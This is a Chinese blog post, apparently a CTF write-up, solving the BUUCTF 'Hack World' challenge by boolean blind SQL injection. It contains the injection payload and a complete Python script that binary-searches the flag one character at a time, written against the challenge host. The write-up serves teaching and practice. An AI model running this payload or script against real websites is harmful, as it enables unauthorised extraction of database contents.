BUUCTF闯关日记--[CISCN2019 华北赛区 Day2 Web1]Hack World

可恶,明明当初想着是写给自己看的,文章越写越多,越来越在意别人会不会看我的文章了,还是太功名利禄了,我得清高点(这是写给自己看,这是写给自己看,这是写给自己看)

进入页面,可以看到只有一个白框,多半是SQL注入

直接开始做题

输入:1  回显:Hello, glzjin wants a girlfriend.
输入:2  回显:Do you want to be my girlfriend?

判断一下是否存在sql注入

分别输入

1+1
2-1
1*1
2/2    //只有2/2有运算后的回显,但还是存在sql注入的

再判断一下过滤了什么字符

482长度的都是被过滤的

我们不难发现输入东西页面返回的是bool类型,所以第一时间想到布尔盲注

使用if进行注入

先输入if(1=1,1,2)

得到输入1的回显

再输入if(1=2,1,2)

得到输入2的回显

因为他这里是bool类型,所以有一个方法

0^(ascii(substr((select(flag)from(flag)),1,1))>32) 

如果后面的结果是1那么返回的结果就是1   即页面会输出Hello, glzjin wants a girlfriend.

如果后面的结果是0那么返回的结果就是0

所以我们就可以通过回显是否输出了Hello作为标志

因为flag很长一个一个试太不实际了,所以就用python的requests模块进行爬取测试

import requests
import time

rest = ""  # 要提前设置
url = "http://ac2ffe10-c893-4b41-a3dc-5b135cc05721.node4.buuoj.cn:81/"
payload = {"id": ""}
for i in range(1, 100):
    begin = 33
    end = 130
    middle = (begin+end) >> 1  # 记得加括号  结果就是对begin+end除以2取整数
    while begin < end:
        payload["id"] = "0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i, middle)  # {0}{1}表示第一个传入的参数和第二个传入的参数
        resp = requests.post(url, data=payload)  # data传入的必须是一个字典
        if "Hello" in resp.text:
            begin = middle + 1
        else:
            end = middle
        middle = (begin + end) >> 1
        time.sleep(1)
    if chr(middle) == " ":
        break
    rest += chr(middle)
    print("flag:" + rest)
print(rest)

注释的地方就是我自己踩过的坑,看了别人的exp自己要写一遍   

这个为什么要begin=middle+1要自己去推理一编,然后有没有其他等价替代方法也要试一下

直接运行就可以得到flag了

                                                             

 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值